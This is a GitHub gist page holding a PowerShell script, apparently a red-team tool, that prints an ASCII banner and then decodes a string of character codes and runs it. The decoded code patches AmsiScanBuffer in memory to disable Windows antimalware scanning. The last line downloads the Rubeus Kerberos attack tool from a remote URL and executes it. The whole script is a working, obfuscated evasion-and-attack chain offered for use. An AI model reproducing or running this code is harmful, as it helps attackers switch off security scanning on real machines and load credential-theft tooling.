Skip to content

Instantly share code, notes, and snippets.

@RED-SPECT3R
Forked from x4sh3s/AMSI_ASCII.ps1
Created December 26, 2022 00:12
Show Gist options
  • Save RED-SPECT3R/821bce2d6c9b62a3525ef6ce05c51974 to your computer and use it in GitHub Desktop.
Save RED-SPECT3R/821bce2d6c9b62a3525ef6ce05c51974 to your computer and use it in GitHub Desktop.
Write-Host "
444444444 hhhhhhh 333333333333333
4::::::::4 h:::::h 3:::::::::::::::33
4:::::::::4 h:::::h 3::::::33333::::::3
4::::44::::4 h:::::h 3333333 3:::::3
xxxxxxx xxxxxxx4::::4 4::::4 ssssssssss h::::h hhhhh 3:::::3 ssssssssss
x:::::x x:::::x4::::4 4::::4 ss::::::::::s h::::hh:::::hhh 3:::::3 ss::::::::::s
x:::::x x:::::x4::::4 4::::4 ss:::::::::::::s h::::::::::::::hh 33333333:::::3 ss:::::::::::::s
x:::::xx:::::x4::::444444::::444s::::::ssss:::::sh:::::::hhh::::::h 3:::::::::::3 s::::::ssss:::::s
x::::::::::x 4::::::::::::::::4 s:::::s ssssss h::::::h h::::::h 33333333:::::3 s:::::s ssssss
x::::::::x 4444444444:::::444 s::::::s h:::::h h:::::h 3:::::3 s::::::s
x::::::::x 4::::4 s::::::s h:::::h h:::::h 3:::::3 s::::::s
x::::::::::x 4::::4 ssssss s:::::s h:::::h h:::::h 3:::::3ssssss s:::::s
x:::::xx:::::x 4::::4 s:::::ssss::::::sh:::::h h:::::h3333333 3:::::3s:::::ssss::::::s
x:::::x x:::::x 44::::::44s::::::::::::::s h:::::h h:::::h3::::::33333::::::3s::::::::::::::s
x:::::x x:::::x 4::::::::4 s:::::::::::ss h:::::h h:::::h3:::::::::::::::33 s:::::::::::ss
xxxxxxx xxxxxxx 4444444444 sssssssssss hhhhhhh hhhhhhh 333333333333333 sssssssssss"
$str = "36 87 105 110 51 50 32 61 32 64 34 10 117 115 105 110 103 32 83 121 115 116 101 109 59 10 117 115 105 110 103 32 83 121 115 116 101 109 46 82 117 110 116 105 109 101 46 73 110 116 101 114 111 112 83 101 114 118 105 99 101 115 59 10 10 112 117 98 108 105 99 32 99 108 97 115 115 32 87 105 110 51 50 32 123 10 10 32 32 32 32 91 68 108 108 73 109 112 111 114 116 40 34 107 101 114 110 101 108 51 50 34 41 93 10 32 32 32 32 112 117 98 108 105 99 32 115 116 97 116 105 99 32 101 120 116 101 114 110 32 73 110 116 80 116 114 32 71 101 116 80 114 111 99 65 100 100 114 101 115 115 40 73 110 116 80 116 114 32 104 77 111 100 117 108 101 44 32 115 116 114 105 110 103 32 112 114 111 99 78 97 109 101 41 59 10 10 32 32 32 32 91 68 108 108 73 109 112 111 114 116 40 34 107 101 114 110 101 108 51 50 34 41 93 10 32 32 32 32 112 117 98 108 105 99 32 115 116 97 116 105 99 32 101 120 116 101 114 110 32 73 110 116 80 116 114 32 76 111 97 100 76 105 98 114 97 114 121 40 115 116 114 105 110 103 32 110 97 109 101 41 59 10 10 32 32 32 32 91 68 108 108 73 109 112 111 114 116 40 34 107 101 114 110 101 108 51 50 34 41 93 10 32 32 32 32 112 117 98 108 105 99 32 115 116 97 116 105 99 32 101 120 116 101 114 110 32 98 111 111 108 32 86 105 114 116 117 97 108 80 114 111 116 101 99 116 40 73 110 116 80 116 114 32 108 112 65 100 100 114 101 115 115 44 32 85 73 110 116 80 116 114 32 100 119 83 105 122 101 44 32 117 105 110 116 32 102 108 78 101 119 80 114 111 116 101 99 116 44 32 111 117 116 32 117 105 110 116 32 108 112 102 108 79 108 100 80 114 111 116 101 99 116 41 59 10 10 125 10 34 64***65 100 100 45 84 121 112 101 32 36 87 105 110 51 50***36 76 111 97 100 76 105 98 114 97 114 121 32 61 32 91 87 105 110 51 50 93 58 58 76 111 97 100 76 105 98 114 97 114 121 40 34 97 109 34 32 43 32 34 115 105 46 100 108 108 34 41***36 65 100 100 114 101 115 115 32 61 32 91 87 105 110 51 50 93 58 58 71 101 116 80 114 111 99 65 100 100 114 101 115 115 40 36 76 111 97 100 76 105 98 114 97 114 121 44 32 34 65 109 115 105 34 32 43 32 34 83 99 97 110 34 32 43 32 34 66 117 102 102 101 114 34 41***36 112 32 61 32 48***91 87 105 110 51 50 93 58 58 86 105 114 116 117 97 108 80 114 111 116 101 99 116 40 36 65 100 100 114 101 115 115 44 32 91 117 105 110 116 51 50 93 53 44 32 48 120 52 48 44 32 91 114 101 102 93 36 112 41***36 80 97 116 99 104 32 61 32 91 66 121 116 101 91 93 93 32 40 48 120 66 56 44 32 48 120 53 55 44 32 48 120 48 48 44 32 48 120 48 55 44 32 48 120 56 48 44 32 48 120 67 51 41***91 83 121 115 116 101 109 46 82 117 110 116 105 109 101 46 73 110 116 101 114 111 112 83 101 114 118 105 99 101 115 46 77 97 114 115 104 97 108 93 58 58 67 111 112 121 40 36 80 97 116 99 104 44 32 48 44 32 36 65 100 100 114 101 115 115 44 32 54 41"
$arr1 = $str.Split("***")
foreach ( $e in $arr1 ) { $s = '' ;$arr2= $e.split(" ") ; foreach ( $e2 in $arr2 ) { $s += [char]([int]$e2) }; if ([string]($s) -ne '' ) {echo [string]($s) | iex } }
iex (iwr https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1 -UseBasicParsing) ; Invoke-Rubeus -command "-h"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment